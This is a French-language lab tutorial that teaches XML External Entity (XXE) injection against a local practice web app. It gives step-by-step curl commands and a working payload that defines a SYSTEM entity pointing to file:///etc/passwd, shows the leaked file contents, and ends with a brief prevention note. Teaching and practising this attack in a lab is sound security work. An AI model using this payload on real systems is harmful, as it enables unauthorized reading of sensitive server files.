Injection d'entités externes XML (XXE)

CybersécuritéBeginner
Pratiquer maintenant

Introduction

Dans ce laboratoire, vous allez découvrir l'injection d'entités externes XML (XXE), une vulnérabilité de sécurité web qui permet à un attaquant d'interférer avec le traitement des données XML par une application.

Le problème XXE repose fondamentalement sur le comportement de l'analyseur (parser). L'application pense analyser des données, mais l'analyseur XML traite également des instructions supplémentaires intégrées dans ce format de données.

Lorsqu'une application web analyse une entrée XML sans désactiver correctement la résolution des entités externes, les attaquants peuvent définir des entités personnalisées pointant vers des fichiers locaux sur le serveur. En injectant ces entités malveillantes dans la charge utile (payload) XML, l'attaquant peut forcer le serveur à lire des fichiers sensibles (comme /etc/passwd) et à renvoyer leur contenu dans la réponse HTTP. Vous vous mettrez dans la peau d'un testeur de sécurité pour identifier un point de terminaison XML, concevoir une charge utile malveillante et extraire avec succès des fichiers système.

Identifier le traitement des données XML

Dans cette étape, nous allons interagir avec une application web locale configurée pour ce laboratoire. L'application s'exécute sur 127.0.0.1 au port 5000 et dispose d'un point de terminaison /process qui accepte des données XML.

Le XML (eXtensible Markup Language) est un format populaire utilisé pour structurer et transporter des données entre un client et un serveur. Avant de pouvoir exploiter une vulnérabilité XXE, nous devons d'abord confirmer que l'application traite réellement les entrées XML et nous renvoie les données analysées.

Cette première confirmation est importante car l'XXE n'est possible que lorsque l'analyse XML a réellement lieu. De nombreux points de terminaison acceptent du texte, mais tous ne traitent pas le corps de la requête comme du XML.

Nous utiliserons l'outil en ligne de commande curl pour envoyer une requête HTTP POST au serveur. Une requête POST envoie des données à l'application, et l'en-tête Content-Type: application/xml indique au serveur d'interpréter ces données comme du XML plutôt que comme du texte brut ou du JSON.

Exécutez la commande suivante dans votre terminal pour envoyer une charge utile XML de base :

curl -X POST -H "Content-Type: application/xml" -d '<root><name>LabEx User</name></root>' http://127.0.0.1:5000/process

Vous devriez voir une sortie similaire à celle-ci :

Hello, LabEx User!

Ce résultat confirme deux points importants. Premièrement, l'application a analysé avec succès nos données XML. Deuxièmement, l'application a extrait le texte à l'intérieur de la balise <name> et nous l'a renvoyé dans la réponse. Cette réflexion est cruciale car elle nous permet de voir les résultats de nos entités injectées plus tard.

Intercepter la requête XML

Dans les tests d'intrusion réels, les chercheurs en sécurité utilisent souvent des outils de proxy comme Burp Suite pour intercepter et modifier les requêtes web. Comme nous travaillons entièrement dans le terminal, nous simulerons ce processus en enregistrant notre charge utile XML dans un fichier local. Cela facilite grandement l'édition et l'injection de structures XML complexes sur plusieurs lignes sans avoir à gérer les échappements fastidieux de la ligne de commande.

Déplacer la charge utile dans un fichier n'est pas seulement une question de commodité. Cela rend les entrées structurées complexes plus faciles à analyser et à réviser, ce qui est important lorsque la syntaxe elle-même affecte l'exploitation.

Créons un fichier nommé payload.xml dans notre répertoire actuel (~/project). Nous utiliserons l'éditeur de texte nano pour créer et modifier ce fichier. Si vous n'avez jamais utilisé nano, sachez qu'il s'agit d'un éditeur de texte simple basé sur le terminal, bien adapté aux petits fichiers comme cette charge utile.

Ouvrez l'éditeur en exécutant :

nano payload.xml

Tapez ou collez la structure XML standard suivante dans le fichier :

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <name>Security Tester</name>
</root>

Enregistrez le fichier et quittez l'éditeur (dans nano, appuyez sur Ctrl+O, puis Entrée pour enregistrer, et Ctrl+X pour quitter).

Maintenant, envoyons ce fichier au serveur en utilisant curl. Le symbole @ indique à curl de lire les données à partir du fichier spécifié au lieu de traiter la chaîne littéralement.

Exécutez la commande suivante :

curl -X POST -H "Content-Type: application/xml" -d @payload.xml http://127.0.0.1:5000/process

Vous devriez voir la sortie suivante :

Hello, Security Tester!

En déplaçant notre charge utile dans un fichier, nous avons préparé un espace de travail propre pour commencer à concevoir notre injection XXE dans les étapes suivantes.

Définir une entité externe (DOCTYPE)

Maintenant que nous avons un fichier XML fonctionnel, nous pouvons commencer à manipuler sa structure. Le XML permet aux développeurs de définir des variables personnalisées appelées "Entités" au sein d'une définition de type de document (DOCTYPE). Un DOCTYPE est une section supplémentaire située près du haut d'un document XML qui décrit les règles ou les valeurs réutilisables pour l'analyseur.

Une entité agit comme un raccourci. Si vous définissez une entité nommée test avec la valeur Injected Data, chaque fois que vous écrirez &test; dans votre document XML, l'analyseur XML la remplacera par Injected Data. Si l'analyseur est vulnérable, il traitera ces entités personnalisées sans aucun contrôle de sécurité.

Cet exemple inoffensif est important car il prouve que l'expansion des entités est activée avant que vous ne passiez aux entités externes basées sur des fichiers.

Modifions notre fichier payload.xml pour inclure une déclaration DOCTYPE et une entité personnalisée.

Ouvrez à nouveau le fichier :

nano payload.xml

Mettez à jour le contenu du fichier pour qu'il corresponde au code suivant :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY test "Injected Entity Data">
]>
<root>
    <name>&test;</name>
</root>

Enregistrez le fichier et quittez nano (Ctrl+O, Entrée, Ctrl+X).

Dans cette charge utile, nous avons défini une entité nommée test. À l'intérieur de la balise <name>, nous avons fait référence à cette entité en utilisant &test;. Envoyons cette charge utile mise à jour au serveur pour voir s'il résout notre entité personnalisée.

Exécutez à nouveau la commande curl :

curl -X POST -H "Content-Type: application/xml" -d @payload.xml http://127.0.0.1:5000/process

Vous devriez voir la sortie suivante :

Hello, Injected Entity Data!

Le serveur a remplacé avec succès &test; par notre chaîne personnalisée. Cela prouve que l'analyseur XML résout activement les entités, ce qui signifie qu'il est très probablement vulnérable à l'injection d'entités externes XML (XXE).

Extraire des fichiers locaux (/etc/passwd)

À l'étape précédente, nous avons défini une entité interne. Le véritable danger de l'XXE survient lorsque nous définissons une entité externe. En utilisant le mot-clé SYSTEM, nous pouvons demander à l'analyseur XML de récupérer la valeur de l'entité à partir d'une source externe, telle qu'une URL ou un chemin de fichier local.

Si l'analyseur XML du serveur web est mal configuré, il lira le contenu du fichier que nous spécifions et l'intégrera dans le document XML. Comme l'application nous renvoie la balise <name>, nous pourrons voir le contenu du fichier dans la réponse HTTP. C'est pourquoi la réflexion est si précieuse pour un attaquant : elle transforme une lecture de fichier côté serveur invisible en une sortie visible dans le navigateur ou le terminal.

Nous allons tenter de lire /etc/passwd, un fichier Linux standard qui contient des informations sur les comptes utilisateurs. Ce fichier est lisible par tous les utilisateurs du système, ce qui en fait une cible courante pour tester les vulnérabilités de lecture de fichiers.

Ouvrez votre fichier de charge utile une dernière fois :

nano payload.xml

Modifiez la définition de l'entité pour utiliser le mot-clé SYSTEM et pointer vers le fichier local en utilisant le protocole file:// :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
    <name>&xxe;</name>
</root>

Enregistrez le fichier et quittez nano (Ctrl+O, Entrée, Ctrl+X).

Maintenant, envoyez la charge utile malveillante au serveur :

curl -X POST -H "Content-Type: application/xml" -d @payload.xml http://127.0.0.1:5000/process

Si l'exploitation réussit, le serveur lira le fichier /etc/passwd et renverra son contenu dans la réponse. Vous devriez voir un large bloc de texte similaire à celui-ci :

Hello, root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
labex:x:1000:1000::/home/labex:/bin/zsh
!

Félicitations ! Vous avez exploité avec succès une vulnérabilité d'entité externe XML pour extraire des fichiers locaux sensibles du serveur web.

Résumé

Dans ce laboratoire, vous avez appris à identifier et à exploiter les vulnérabilités d'entité externe XML (XXE). Vous avez commencé par vérifier qu'une application web traite et reflète les données XML. Vous avez ensuite appris à définir des entités XML personnalisées à l'aide d'une déclaration DOCTYPE. Enfin, vous avez intensifié l'attaque en utilisant le mot-clé SYSTEM pour créer une entité externe, forçant l'analyseur XML du serveur à lire le fichier local /etc/passwd et à en renvoyer le contenu.

Pour prévenir les vulnérabilités XXE, les développeurs doivent s'assurer que leurs analyseurs XML sont configurés pour désactiver complètement la résolution des entités externes et des DTD (Document Type Definitions).